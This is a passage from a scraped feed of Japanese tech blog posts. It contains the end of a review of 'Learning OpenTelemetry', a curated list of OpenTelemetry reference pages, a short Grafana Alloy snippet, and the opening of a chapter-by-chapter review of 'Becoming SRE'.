という言葉が印象的でした。標準が目の前に崖を提供しても、必ずしもそこから飛び降りる必要はないというメッセージには深く共感しました。可観測性の導入においても、標準的なアプローチに盲目的に従うのではなく、自組織の状況に合わせて柔軟に対応することが重要だと感じました。可観測性の真の価値本章では、可観測性の価値について次のように述べられています。可観測性の真の価値は、組織を変革し、ソフトウェアのパフォーマンスがビジネスの健全性にどのように変換されるかについての共通の言語と理解を提供する力にあります。可観測性は信頼や透明性と同じように、価値そのものなのです。可観測性とは、チーム、組織、ソフトウェアシステムを、その結果を解釈、分析、疑問視できるように構築することへのコミットメントなのだと著者は主張しています。この課題は、特定の個人やグループだけのものではありません。データを意思決定のインプットとして活用する方法について、組織全体でコミットメントを得る必要があります。そのために、本章では、OpenTelemetryを実装した組織やプロジェクトのいくつかのケーススタディが紹介され、成功への道筋が示されています。可観測性の展開における3つの軸についても詳しく説明されています。Deep(深さ)対Wide(広さ)Code(コード)対Collection(収集)Centralized(中央集権)対Decentralized(分散)これらの軸は、OpenTelemetryの実装を推進しているのは誰で、組織のどの部分に触れることができるのかという問いに関連しています。Deepアプローチの例として、GraphQLサービスを計装した大規模な金融サービス組織のケースが紹介されています。この組織では、GraphQLのトレースが他のシステムから分離されており、エラーの発生場所や下流への影響を可視化することが困難でした。OpenTelemetryのトレースファーストアプローチは、GraphQLの課題に対処するために非常に有効だったそうです。一方、Wideアプローチの例としては、既存のトレーシングソリューションからOpenTelemetryへの移行を行ったSaaS企業のケースが取り上げられています。この組織では、システムがKubernetes上で動作し、Goで書かれていたため、Wideな移行が容易な判断でした。ただし、移行時には、既存のアラートやダッシュボードが壊れないように注意深く比較する必要があったそうです。Deepな計装は、単一のチーム、サービス、フレームワークに重点を置いています。特に計装ライブラリが存在する場合は、素早く価値を提供できます。カスタムコード(プロパゲーターなど)を使用して、既存のソリューションに統合することもできます。Deepな計装は、大規模な組織や、より大きな可観測性プラクティスが整備されていない組織で始めるのに適しています。一方、Wideな計装は、できるだけ多くのサービスに計装を展開することに注力します。システムアーキテクチャによっては、事前の作業がより多く必要になる場合があります。一般的に、完全な移行、または並行して実行するための手段が必要です。Wideな計装は、全体的なシステムモデルの洞察を提供することで、長期的にはより多くの価値をもたらします。Code対Collectionの軸は、OpenTelemetryエコシステムのどの部分に注力すべきかという問いに関連しています。データの生成に注力するべきか、それとも収集と変換に注力するべきか。理想的には、コードとコレクターの両方を採用し、一方の使用と実装がもう一方を前進させるべきだと著者は述べています。Centralized対Decentralizedの軸は、組織の規模や形状に関係なく、可観測性の展開において考慮すべき重要な側面です。大規模な組織では、中央の可観測性チームがOpenTelemetryの採用を推進することが多いのに対し、小規模な組織では、個々のサービスチームが浸透によって採用を広めることが多いそうです。OpenTelemetryの展開における3つの格言著者は、OpenTelemetryの展開における3つの格言を示しています。Do no harm, break no alerts.(害を与えず、アラートを壊さない)Prioritize value.(価値を優先する)Don\'t forget the business.(ビジネスを忘れない)これらの格言は、可観測性の導入が技術的な課題であると同時に、ビジネス上の課題でもあることを示唆しています。OpenTelemetryの展開後の差別化次に、OpenTelemetryの導入後に、どのように差別化を図るかについて議論されています。テストとしての可観測性、グリーン可観測性、AI可観測性など、新たな可能性を探ることで、組織に優位性をもたらすことができると著者は主張しています。特に、テストとしての可観測性は興味深いアイデアだと感じました。トレースとメトリクスを使って、既知の良好な状態に対するシステムの動作を比較し、リグレッションを検出するというアプローチは、継続的デリバリーの品質ゲートとしても活用できそうです。最後に、大規模な組織でOpenTelemetryを展開するためのチェックリストが提供されています。経営陣が関与しているか?小さいが重要な最初のゴールを特定したか?最初のゴールを達成するために必要なことだけを実装しているか?早期の成功事例を見つけたか?可観測性を集中化したか?ナレッジベースを作成したか?新旧の可観測性システムを併存させられるか?これらのチェック項目は、OpenTelemetryの展開を成功に導くための重要な指針になるはずです。特に、早期の成功事例を見つけ、それを組織全体に広めていくことの重要性は、多くの組織で当てはまるのではないでしょうか。本章を通じて、可観測性の展開が、単なる技術的な課題ではなく、組織全体で取り組むべき変革の旅であることを再認識しました。OpenTelemetryは、その旅を支える強力な武器になるはずです。しかし、それを最大限に活用するには、自組織の状況を見極め、適切な戦略を選択することが求められます。Deep対Wide、Code対Collection、Centralized対Decentralizedという3つの軸は、その選択を導くための羅針盤になるでしょう。早期の価値の実現とビジネスへの貢献を意識しながら、段階的にOpenTelemetryを展開していくことが成功の鍵だと感じました。個人的には、テストとしての可観測性やAI可観測性など、OpenTelemetryの新たな可能性についても興味をかき立てられました。従来のモニタリングの枠を超えて、より高度な分析や自動化につなげていくことで、可観測性の真価を発揮できるはずです。本章のチェックリストを参考に、自社におけるOpenTelemetryの展開計画を見直してみたいと思います。特に、早期の成功事例の発掘と、組織全体への波及効果の創出には注力したいと考えています。可観測性は、ソフトウェアエンジニアリングの未来を切り拓く重要な鍵です。OpenTelemetryを活用し、自組織に適した展開戦略を練ることで、その扉を開くことができるはずです。読者諸兄も、ぜひ自組織における可観測性の現状を振り返り、OpenTelemetryによる変革の機会を探ってみてください。Deep対Wide、Code対Collection、Centralized対Decentralizedの3つの軸を意識しながら、自組織に適したアプローチを見出していくことが重要です。可観測性の実現は、単なる技術の導入ではなく、組織文化の変革でもあります。OpenTelemetryを起点に、データ駆動の意思決定を根付かせ、ソフトウェアのパフォーマンスとビジネスの成果を強く結びつけていく。そのような組織づくりに、本章の知見が活かされることを期待しています。皆さんの組織では、可観測性の展開においてどのような課題に直面していますか? Deep対Wide、Code対Collection、Centralized対Decentralizedという3つの軸で見たとき、どのようなアプローチが有効だと考えますか? ぜひ、自組織の状況を共有し、知見を交換し合えればと思います。本章のまとめと著者の主張本書のまとめとして、著者らは次のように述べています。OpenTelemetryは、可観測性に必要不可欠なテレメトリデータを標準化・合理化し、従来の「3本柱」の考え方から脱却して、相関性の高い豊かなテレメトリデータの束へと移行するための戦略的な選択肢になる、と。可観測性の実現を通じて、ソフトウェアとビジネスの成果をより強く結びつけていく。そのような取り組みをしてみるのも良いのではないでしょうか(言うは易く行うは難し)?おわりに本書『Learning Opentelemetry』を通して、現代のソフトウェアシステムにおける可観測性の重要性と、それを実現するためのOpenTelemetryの役割について深く学ぶことができました。従来の可観測性の課題であったデータの分断を解消し、トレース、メトリクス、ログなどの様々なテレメトリデータを統合的に扱えるOpenTelemetryは、まさに可観測性の分野における革命的な存在だと言えるでしょう。本書は、OpenTelemetryの設計思想から実践的な活用方法まで、体系的かつ平易に解説されており、可観測性に関する理解を深めるための良きガイドとなりました。本書を読み進める中で、私自身、以下のような気づきと学びを得ることができました。現代のソフトウェアシステムの複雑性に立ち向かうには、可観測性が欠かせない要素であること。OpenTelemetryは、データの相関性と統一性を追求することで、より深い洞察を可能にすること。アプリケーション、ライブラリ、インフラストラクチャの各層で適切な計装を行うことが重要であること。テレメトリパイプラインの設計と運用が、可観測性の実現において極めて重要な役割を果たすこと。可観測性の展開は、単なる技術の導入ではなく、組織文化の変革でもあること。以下は、文章の順番を変更し、自然な流れになるように書き換えた結果です。OpenTelemetryがもたらすデータの相関性と統一性は、従来の縦割りのアプローチからの脱却を意味します。トレース、メトリクス、ログが別々のシステムで管理されていては、システム全体の動作を俯瞰的に理解することは困難です。OpenTelemetryは、これらのデータを単一のモデルに統合することで、より深い洞察を可能にするのです。さらに、可観測性の実現は、単なる技術的な問題ではなく、ビジネスの成功に直結する重要なテーマだと言えます。OpenTelemetryを活用することで、システムの動作を正確に把握し、パフォーマンスの問題や障害の兆候を早期に検出し、素早く対処できるようになります。また、可観測性の展開が組織文化の変革でもあるという点も非常に重要です。可観測性の真の価値は、組織を変革し、ソフトウェアのパフォーマンスとビジネスの成果を強く結びつけることにあります。そのためには、データを意思決定のインプットとして活用する方法について、組織全体でコミットメントを得る必要があります。本書で得られた知見を活かし、自社における可観測性の向上に取り組んでいきたいと強く意識しています。具体的には、OpenTelemetryを導入し、アプリケーション、ライブラリ、インフラストラクチャの各層で適切な計装を行うこと、テレメトリパイプラインを設計し、データの収集、処理、エクスポートを最適化すること、そして何より、可観測性をデータ駆動の意思決定の基盤とし、ソフトウェアとビジネスの成果を強く結びつけていくことが重要だと考えています。これらは、これからのソフトウェアエンジニアリングに求められる重要な課題であり、そのような高度な可観測性を実現することが、私たちSREやソフトウェアエンジニアに課せられた使命だと感じています。そして、読者諸兄にも感謝を申し上げます。1つ1つの気づきや学びを積み重ねることが、私たち自身の成長につながるだけでなく、ひいては業界全体の発展にもつながるのだと信じています。引き続き、OpenTelemetryと可観測性について学び、実践し、議論を深めていければと思います。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。参考資料OpenTelemetry 公式サイトOpenTelemetry | DocumentationDatadog’s $65M Bill and Why Developers Should CareDistributed Systems ObservabilityDesigning Distributed SystemsReport shows consumers won’t wait long for web pages to loadBurnout in software engineering: A systematic mapping studyObservability EngineeringIntroducing Domain-Oriented Microservice ArchitectureContextThe Four Golden SignalsGlossaryPropagators APITrace Context | W3C Recommendation OpenTelemetry Transformation LanguageSpecificationsEnd-User Q&A Series: Using OTel at FarfetchWhy and How eBay Pivoted to OpenTelemetryOpen Agent Management ProtocolOpenTelemetry LambdaOpenTelemetry Protocol with Apache ArrowCertain specialized transformationsCollectorOpenTelemetry Semantic Conventions 1.25.0OpenTelemetry Operator for KubernetesstanzaBuilding a custom collectorRouting processorOpenTelemetry Operator Helm ChartTarget AllocatorTraces For Kubernetes System Components","link":"https://syu-m-5151.hatenablog.com/entry/2024/04/16/180511","isoDate":"2024-04-16T09:05:11.000Z","dateMiliSeconds":1713258311000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Grafana Alloy でメトリクス収集","contentSnippet":"Raspberry Pi を新しくしてからメトリクスの可視化を行っていなかったので Grafana Cloud で見れるようにセットアップしようと Grafana のサイトを見ていたら Alloy というものの存在を","link":"https://blog.1q77.com/2024/04/grafana-alloy/","isoDate":"2024-04-15T15:16:09.000Z","dateMiliSeconds":1713194169000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"OpenTelemetryについて調べる時に見るページ","contentSnippet":"はじめにOpenTelemetryは、分散システムの可観測性を向上させるためのオープンソースのフレームワークです。アプリケーションのパフォーマンス、動作、エラーなどを追跡し、収集されたデータを分析および視覚化することで、システムの健全性を監視し、問題の早期発見と解決に役立てることができます。約2年前にOpenTelemetryについてブログに書きましたが、その内容は現状と大分差異があるように感じます。OpenTelemetryプロジェクトは急速に発展しており、公式ページの充実や新しい機能や改善が続々と追加されています。また、多くの組織がOpenTelemetryを採用し、勉強会などで資料を公開したり、オープンソースおよび商用の可観測性ツールとの連携も進んでいます。syu-m-5151.hatenablog.com書籍も出ました。こちらも書評を書いている途中です(ちゃんとします)。Learning OpenTelemetry (English Edition)作者:Young, Ted,Parker, AustinO\'Reilly MediaAmazon本記事では、OpenTelemetryについて調べる際に参考になるページを紹介します。オススメがあればDMなどしてください。はじめに紹介するページについて1. The main OpenTelemetry website2. The OpenTelemetry GitHub organization3. The OpenTelemetry Enhancement Proposal repository4. The OpenTelemetry specification5.OpenTelemetry Semantic Conventions6. Organizations that have adopted OpenTelemetry7. OSS and commercial observability tools that support OpenTelemetry8.OpenTelemetry Meetup9. Datadog\'s $65M Bill and Why Developers Should Care10. Distributed Systems Observability11. Designing Distributed Systems12. Report shows consumers won\'t wait long for web pages to load13. Burnout in software engineering: A systematic mapping study14. Observability Engineering15. Introducing Domain-Oriented Microservice Architecture16. The Four Golden Signals17. Why and How eBay Pivoted to OpenTelemetry18. OpenTelemetry Lambda19. OpenTelemetry Protocol with Apache Arrow20. Context21. Propagators API22. Trace Context - W3C Recommendation23. OpenTelemetry Transformation Language24. OpenTelemetry Collector25. OpenTelemetry Operator for Kubernetes26. stanza27. Open Agent Management Protocol28. Traces For Kubernetes System Componentsまとめ紹介するページについて以下のページは、OpenTelemetryについて学ぶ際に役立つ情報を提供しています。1. The main OpenTelemetry website OpenTelemetryプロジェクトの公式ウェブサイトです。 プロジェクトの概要、ドキュメント、ブログ、イベントなどの情報が掲載されています。 OpenTelemetryを始めるための出発点として最適なページです。 特に、ドキュメントセクションでは、OpenTelemetryの概念、API、SDKなどについて詳しく解説されています。2. The OpenTelemetry GitHub organization OpenTelemetryプロジェクトのGitHubオーガニゼーションページです。 各プログラミング言語のSDKやツール、仕様などのリポジトリが管理されています。 コードの閲覧、イシューの確認、プルリクエストの提出などができます。3. The OpenTelemetry Enhancement Proposal repository OpenTelemetryの拡張提案(OTEP)を管理するリポジトリです。 新機能や変更の提案、議論、承認などのプロセスが記録されています。 OpenTelemetryの開発方針や将来の計画を知るのに役立ちます。4. The OpenTelemetry specification OpenTelemetryの仕様を定義しているリポジトリです。 API、SDK、データモデル、セマンティック規約などの詳細な仕様が記載されています。 OpenTelemetryの実装や互換性を理解するための重要なリソースです。 用語集や仕様書も参照すると理解が深まります。5.OpenTelemetry Semantic Conventions OpenTelemetryのセマンティック規約を定義しているリポジトリです。 属性、メトリック、リソース、イベントなどの命名規則や意味づけが規定されています。 一貫性のあるデータ収集とカタログ化を実現するための指針となります。 最新版の規約はこちらから確認できます。6. Organizations that have adopted OpenTelemetry OpenTelemetryを採用している組織の一覧ページです。 各組織の名前、ロゴ、採用事例などが紹介されています。 OpenTelemetryの実際の利用状況や適用範囲を知ることができます。 特に、eBayがOpenTelemetryに移行した理由と方法や、Farfetchでの使用事例などは参考になります。7. OSS and commercial observability tools that support OpenTelemetry OpenTelemetryをサポートしているオープンソースおよび商用の可観測性ツールの一覧ページです。 各ツールの名前、ロゴ、説明、リンクなどが掲載されています。 OpenTelemetryと連携可能なツールを探す際に便利です。8.OpenTelemetry Meetup 国内のOpenTelemetry に関する勉強会 ちょっとづつ具体的な話が増えてきている印象がある9. Datadog\'s $65M Bill and Why Developers Should Care この記事では、Datadogが直面した高額な請求問題と、それが開発者にとって何を意味するのかを洞察に富んだ視点で解説しています。コスト管理とパフォーマンス最適化に関して、開発者がどのように対応すべきかの実践的なアドバイスが含まれています。 OpenTelemetryを活用することで、ベンダーロックインを避け、コストを最適化できる可能性があります。10. Distributed Systems Observability 分散システムの可観測性に関する包括的なガイドを提供するこの書籍は、理論から実践までを網羅しています。特に、OpenTelemetryを含む様々なツールを用いた観測戦略が詳述されており、実用的な知識を深めるのに役立ちます。11. Designing Distributed Systems 分散システムを設計する際の重要な考慮事項を解説するこの資料は、システムの可観測性を高めるための実践的なデザインパターンを豊富に提供しています。読者にとって指導的なリソースとなるでしょう。12. Report shows consumers won\'t wait long for web pages to load ウェブサイトのパフォーマンスがエンドユーザーの行動にどのように影響するかを掘り下げたこのレポートは、サイトの速度とユーザー満足度の関係を明らかにしています。パフォーマンス監視の重要性についての価値ある洞察が得られます。 OpenTelemetryを使ってウェブアプリケーションのパフォーマンスを計測・改善することが、ユーザー体験の向上につながります。13. Burnout in software engineering: A systematic mapping study ソフトウェアエンジニアリングの分野で発生しているバーンアウト現象についての体系的な研究を提供するこの記事は、業界における心理的健康問題とその対策について詳細に分析しています。 システムの可観測性を高めることで、障害対応の負担を軽減し、エンジニアのストレスを緩和できる可能性があります。14. Observability Engineering 可観測性を中心に据えたこの書籍は、システムの透明性を高めるためのエンジニアリングプラクティスを提案しています。具体的な戦略やツールの使用方法が詳細に解説されており、技術者にとっては非常に参考になる内容です。15. Introducing Domain-Oriented Microservice Architecture Uberが採用しているドメイン指向のマイクロサービスアーキテクチャに焦点を当てたこの記事は、効率的なサービス設計と運用の実践例を提供しています。システムアーキテクトにとって貴重なケーススタディとなるでしょう。 OpenTelemetryを活用することで、マイクロサービス間の依存関係や性能を可視化し、最適化することができます。16. The Four Golden Signals Googleが提唱するシステムモニタリングの四つの基本指標(レイテンシー、トラフィック、エラー、飽和)について詳しく解説しています。効果的な監視システムの設計に不可欠な指標を、具体的な例と共に学ぶことができます。 OpenTelemetryを使って、これらの指標を収集・分析することができます。17. Why and How eBay Pivoted to OpenTelemetry eBayがなぜOpenTelemetryへの移行を決めたのか、そのプロセスはどのように進行したのかについての詳細な分析が行われています。大規模な技術移行を検討している企業にとって参考になる事例です。18. OpenTelemetry Lambda AWS LambdaでOpenTelemetryを効率良く使用するための実践的なガイドとリソースが提供されています。サーバレスアーキテクチャにおける可観測性の課題を克服するのに役立ちます。 自分の環境で利用しているFaaS(Function as a Service)についても、OpenTelemetryのサポート状況を調べてみることをお勧めします。19. OpenTelemetry Protocol with Apache Arrow Apache Arrowを利用してOpenTelemetryデータを効率的に処理する新たなプロトコルについての解説です。データ処理とパフォーマンスの最適化に関心がある開発者にとって重要なリソースです。20. Context OpenTelemetryのコンテキストについて解説しています。コンテキストは、分散トレーシングにおいて重要な役割を果たし、リクエストの流れを追跡するために使用されます。21. Propagators API OpenTelemetryのプロパゲーターAPIについて説明しています。プロパゲーターは、分散システム間でコンテキストを伝搬するために使用されます。22. Trace Context - W3C Recommendation W3Cが推奨するトレースコンテキストの仕様です。OpenTelemetryは、この仕様に準拠してトレース情報を伝搬します。23. OpenTelemetry Transformation Language OpenTelemetry Transformation Language(OTTL)は、OpenTelemetryデータを変換するための言語です。コレクターでデータを加工する際に使用されます。24. OpenTelemetry Collector OpenTelemetry Collectorは、テレメトリデータを収集、処理、エクスポートするためのコンポーネントです。設定ファイルを使って柔軟に構成できます。 ルーティングプロセッサや特殊な変換など、高度な機能も提供されています。 カスタムコレクターの構築も可能です。25. OpenTelemetry Operator for Kubernetes Kubernetes環境でOpenTelemetryを簡単に導入するためのOperatorです。 Helm Chartも提供されています。 Target Allocatorを使って、リソースの動的割り当てが可能です。26. stanza OpenTelemetry Collectorのログパーサーおよびプロセッサです。 柔軟なログ解析とOpenTelemetryフォーマットへの変換が可能です。27. Open Agent Management Protocol エージェントの設定や管理を統一的に行うためのプロトコルです。 OpenTelemetryエージェントの一元管理を可能にします。28. Traces For Kubernetes System Components Kubernetes自体のシステムコンポーネントのトレースを取得する方法について解説しています。 OpenTelemetryを使ってKubernetesの内部動作を可視化できます。まとめ本記事では、OpenTelemetryについて学ぶ際に参考になるページを紹介しました。公式ドキュメントやGitHubリポジトリ、仕様書、採用事例、関連書籍など、様々な角度からOpenTelemetryについて理解を深められる資料を取り上げました。特に、分散システムの可観測性やOpenTelemetryの設計思想については、『Distributed Systems Observability』や『Observability Engineering』などの書籍が詳しく解説しています。また、eBayやUberといった大企業での導入事例は、実際のOpenTelemetry活用方法を知る上で参考になるでしょう。さらに、OpenTelemetryの各種機能や関連プロジェクトについても触れました。コンテキストの伝搬、データ変換、Kubernetes連携など、OpenTelemetryのエコシステムは非常に広がりを見せています。これらのリソースを活用することで、システムの可観測性を高め、運用効率の改善やパフォーマンスの最適化につなげることができるでしょう。","link":"https://syu-m-5151.hatenablog.com/entry/2024/04/09/160824","isoDate":"2024-04-09T07:08:24.000Z","dateMiliSeconds":1712646504000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"なれる!SRE - Becoming SREで学んだこと","contentSnippet":"はじめにエンジニアとして就職する前に読んだ「なれる!SE 2週間でわかる?SE入門」の内容があまりにも厳しく、業界に就職するのが怖くなったことを覚えています。本の中に登場する中学生の少女にしか見えない凄腕のSE、室見立華さんのような人物は現実には存在しないでしょうが、実際の業界には彼女のような凄腕エンジニアや年齢不相応な技術力を持つ人間も確かに存在します。なれる!SE 2週間でわかる?SE入門 (電撃文庫)作者:夏海 公司,IxyKADOKAWAAmazonSREの探求『Becoming SRE』の内容紹介私は「なれる!SE」が好きすぎるあまり、「なれる!SRE」というタイトルのクソみたいな文章を吐き出したこともありましたが、そのクオリティがあまりにも低かったため、外には公開せずに留めておきました。そんな中、SREの探求の原著者であるDavid Blank-Edelman(otterbook)氏による「Becoming SRE」が 2024年2月にリリースされました。learning.oreilly.com本書では、SREの基本的な考え方や文化について解説し、SREになるために必要なスキルや知識、実際の仕事内容を紹介しています。また、組織にSREを導入するために必要な要件やうまく定着させるためのポイント、SREと他部門との協働について言及し、組織の中でSREを成長・成熟させていくための方法論を提示しています。はじめにSREの探求『Becoming SRE』の内容紹介『Becoming SRE』の構成Part I: Introduction to SREPart II: Becoming SRE for the IndividualPart III: Becoming SRE for the OrganizationPart I: Introduction to SREChapter 1. First Things FirstSREの定義と3つの重要な単語SREとは何かSREとDevOpsの関係性Chapter 2. SRE MindsetSREにとって大切な問いかけSREの反脆弱性を高める営みSREのマインドセットを実践していくことの難しさChapter 3. SRE CultureSREの文化を育むことの重要性SREの文化を育むためのプロセスSREの文化を育む困難さと重要性Chapter 4. Talking About SRE (SRE Advocacy)SREについて語ることの重要性効果的なストーリーを語るための心構えII. Becoming SRE for the IndividualChapter 5. Preparing to Become an SRESREになるために必要な基礎知識SREの本質を追求する姿勢にこそ職責があるSREへの第一歩Chapter 6. Getting to SRE from…様々なバックグラウンドを持つ人々がSREを目指せるシステム管理者からシステム管理が得意なSREになったSREへの道のりは平坦ではないChapter 7. Hints for Getting Hired as an SRE答えは用意しておきますSREの面接は双方向のコミュニケーション日々の仕事の中で信頼性への意識を研ぎ澄ますChapter 8. A Day in the Life of an SRESREの多様な役割とコラボレーションの重要性SREのワークライフバランスSREの業務バランスChapter 9. Establishing a Relationship to ToilToilを単に「嫌な仕事」と片付けないToilに注目する3つの要因Toilとの健全な付き合い方Chapter 10. Learning from Failure障害からの学びはSREの中核的な活動ポストモーテムでも良いレジリエンスエンジニアリングの知見を吸収し活用するPart III. Becoming SRE for the OrganizationChapter 11. Organizational Factors for SuccessSREの導入には組織のあり方そのものの見直しが必要な時もあるSREは技法や手法だけでできたら苦労はしねぇSREの真価を発揮するための組織体制結局、組織じゃんって話Chapter 12. How SRE Can FailSREの失敗は組織全体にネガティブな影響を及ぼしかねないSREは失敗をどう扱うのか?SREの失敗から立ち直るためのマインドセットChapter 13. SRE from a Business Perspective信頼性はサービスの最も重要な機能SREの価値を経営層に伝え続けることの重要性Chapter 14. The Dickerson Hierarchy of Reliability (A Good Place to Start)信頼性向上の第一歩としての The Dickerson Hierarchy of ReliabilitySREの真骨頂は試行錯誤にありChapter 15. Fitting SRE into Your OrganizationSREの導入には組織のカルチャーや構造とのフィット感が重要気を整え 拝み 祈り 構えて 突くデータに基づく意思決定の習慣を根付かせるSREの実践Chapter 16. SRE Organizational Evolutionary StagesSREは組織全体のマインドセットと文化の変革を必要とするSRE組織の5段階の成熟度モデルSREの真髄は組織文化の変革にあるChapter 17. Growing SRE in Your OrgSREの成長は「大きいほど良い」とは限らないSREの組織の規模による分類SREが組織の風土に合わせて多様な形で発展していくChapter 18. ConclusionSREの本質はシステムの信頼性という崇高な目標にあるSREは素晴らしくやりがいある仕事おわりにSREは技術を超え組織文化そのものを変革していくSREの旅に終わりはないこれらの内容は、SREを目指す個人だけでなく、組織としてSREを取り入れようとする企業にとっても、大変参考になるのではないでしょうか。「なれる!SE」に感化されて書いた拙い文章とは異なり、「Becoming SRE」は、SREという職種について、より深く理解するための良書になると期待しています。2024年2月に出版されたのですが、SREに関心のある方は、ぜひ一読してみることをおすすめします。翻訳本が出版されるのが今からとても楽しみです。Becoming SRE: First Steps Toward Reliability for You and Your Organization (English Edition)作者:Blank-Edelman, David N.O\'Reilly MediaAmazon『Becoming SRE』の構成『Becoming SRE』は、Site Reliability Engineering (SRE) の入門書であり、個人と組織の両方を対象に、SREをどのように始めるべきかを解説しています。著者は、SREに関する豊富な知識と経験を持ち、多くの人々との対話を通じて得た洞察を本書に凝縮されています。本書は大きく3つのパートに分かれており、それぞれが独立した内容となっているが、全体を通して読むことで、SREの本質的な理解が深まる構成になっています。Part I: Introduction to SRE第1部では、SREを始めるにあたって必要な基礎知識が提供されている。特に、第2章ではSREのマインドセットについて詳しく解説されており、SREの根底にある考え方や価値観を理解することができる。この章は、SREに関する議論を進める上で欠かせない土台となるため、第2部と第3部を読む前に必ず読むべき内容となっている。また、SREに関連する重要な概念や用語についても丁寧に説明されているため、初学者にとっても分かりやすい内容になっている。Part II: Becoming SRE for the Individual第2部では、個人としてSREを始めるための具体的な方法論が述べられている。SREに必要なスキルセットや知識、学習方法などが詳細に紹介されており、SREを目指す人にとって実践的な指南書となっている。また、SREの日常業務やキャリアパスについても言及されているため、SREという職種をより深く理解することができる。著者自身の経験や、他のSREエンジニアとの対話から得た知見も随所に盛り込まれており、生きたアドバイスが得られる内容になっている。Part III: Becoming SRE for the Organization第3部では、組織としてSREを導入・発展させるための指針が提示されている。SREの導入に必要な要件や、組織文化との適合性、他部門との協働など、SREを組織に定着させるためのポイントが詳しく解説されている。また、SREチームの構築や育成、SREプラクティスの継続的な改善についても言及されており、組織としてSREを成功させるためのヒントが数多く提供されている。さらに、実際にSREを導入した企業の事例も紹介されているため、具体的なイメージを持ちながら読み進めることができる。第2部と第3部は、読者の関心に応じてどちらを先に読んでも構わないが、個人と組織は密接に関連しているため、両方を読むことで理解がより深まるだろう。また、最後に収録されているベテランSREエンジニアからの助言は、SREの本質を捉えた良い内容になっており、SREを志す人にとって大きな励みになるはずだ。本書の特徴の一つは、SREに関する他の優れた書籍や情報源を数多く参照していることだ。著者は、自身の知見だけでなく、SREコミュニティの集合知を積極的に取り入れることで、読者により広い視野を提供している。また、SREの実装や解釈は組織によって異なり得ることを認めた上で、SREについての対話を促していることも重要なポイントだ。著者は \\"SRE should be a conversation, not a doctrine.\\"(SREは教義ではなく、会話であるべきだ)というメッセージを発しており、SREをめぐる活発な議論の重要性を呼びかけている。『Becoming SRE』は、SREの入門書でありながら、奥深い内容を含んだ一冊だ。初学者から経験者まで、幅広い読者に対して、SREについての理解を深め、実践するための指針を提供してくれる。SREに関心を持つ全ての人にとって、必読の書と言えるだろう。Part I: Introduction to SREChapter 1. First Things FirstSREの定義と3つの重要な単語本章は、SREについての理解が深めるための章。著者が提示したSREの定義、「Site reliability engineering is an engineering discipline devoted to helping organizations sustainably achieve the appropriate level of reliability in their systems, services, and products.」は、SREの本質をよく捉えていると感じた。この定義の中で特に重要な3つの単語として、著者が挙げたのは \\"Reliability(信頼性)\\", \\"Appropriate(適性)\\", \\"sustainable(持続可能性)\\" です。システムの信頼性は、組織の収益、評判、従業員の健康などに直結する重要な要素であり、SREの中核をなすものです。また、100%の信頼性を目指すのではなく、SLI/SLOを用いて適切な信頼性のレベルを見極めることが肝要だと説く点も納得できる。そして、信頼性の追求は、人的リソースの持続可能性とのバランスを考慮しなければならない。過度な信頼性の追求が、エンジニアの疲弊を招いては本末転倒です。SREとは何か2014年のSREconで行った講演では、SREの要諦が端的に表現されており、現在でも色褪せない洞察に満ちている。Ben Treynor Sloss氏によれば、SREとは次のような特徴を持つ組織だという。コーダーのみを雇用し、サービスに対するSLAを設定する。そして、そのSLAに対する性能を測定・報告し、エラー予算を活用してゲートローンチを行う。SREチームとDEVチームの間で人材を共有し、SREチームの運用負荷は50%に抑えつつ、運用作業の5%をDEVチームと共有する。オンコールチームは少なくとも8人、できれば6\xd72の体制を取り、1シフトあたりのイベント数は最大2件までとする。イベントが発生した際には、必ずポストモーテムを行う。ポストモーテムでは非難を避け、プロセスと技術に焦点を当てた議論を行うことが重要です。つまり、SREとは、高い信頼性を持つシステムを構築・運用するための体系的なアプローチであり、エンジニアリングと運用のベストプラクティスを組み合わせたものと言えるとおもいます。www.youtube.comSREとDevOpsの関係性SREとDevOpsの関係性については、本書で提示された3つの見方がそれぞれ示唆に富んでいる。1つ目の「SREはDevOpsの一実装である」という見方は、SREとDevOpsが共有する理念や手法に着目したものです。両者はともに、開発と運用の協調を重視し、自動化やツールの活用を推進する点で共通している。ただし、著者が指摘するように、DevOpsが特定の方法論やツールを規定しないのに対し、SREはより規範的(prescriptive)なアプローチを取る傾向があります。2つ目の「SREの信頼性に対するDevOpsのデリバリー」という対比は、両者の目的の違いを浮き彫りにしている。SREが systems の信頼性(reliability)の確保を最重要視するのに対し、DevOpsはソフトウェアのデリバリー(delivery)に主眼を置く。もちろん、信頼性の高いシステムを迅速にデリバリーすることは、両者に共通する目標ではあるが、力点の置き方が異なります。3つ目の「SREとDevOpsでは、関心の方向性が異なる」この言葉はSREとDevOpsの関心の方向性の違いを鮮やかに描き出している。SREは本番環境から出発し、「本番環境の信頼性を確保するために、開発者は何をすべきか」という観点から、開発の方向へと関心を向ける。一方、DevOpsは開発者の環境から出発し、「開発者が書いたコードを、いかにして本番環境に迅速かつ安全にデリバリーするか」という観点から、本番環境の方向へと関心を向ける。Figure 1-2. The Limoncelli model of SRE, DevOps, and Agile strategies. Modified from the original in Seeking SRE (O’Reilly, 2018). より引用この違いは、両者が重視するツールや手法にも反映される。例えば、SREはモニタリングやインシデント管理、カオスエンジニアリングなどの運用面のツールを重視するのに対し、DevOpsはCIツールやコンテナ技術などのデリバリーを加速するツールを重視する傾向があります。ただし、著者が強調するように、SREとDevOpsは二者択一ではなく、むしろ補完的な関係にあると捉えるべきだろう。組織の規模やビジネス特性、技術的成熟度などに応じて、SREとDevOpsの手法を適切に組み合わせることが肝要です。このへんは可視化されているDevOps 